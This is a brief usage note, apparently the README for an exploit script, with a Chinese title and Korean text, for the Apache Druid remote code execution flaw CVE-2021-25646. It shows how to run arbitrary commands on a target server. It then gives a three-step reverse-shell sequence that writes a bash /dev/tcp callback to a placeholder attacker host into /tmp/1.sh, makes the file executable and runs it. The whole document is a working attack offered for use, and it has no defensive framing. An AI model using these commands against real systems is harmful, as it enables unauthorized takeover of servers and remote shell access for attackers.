
Apache Druid 远程代码执行复现(CVE-2021-25646)
사용법: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
리버스 셸은 다음과 같습니다:
리버스 셸 스크립트 작성
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
셸 스크립트에 실행 권한 부여
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
셸 실행
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"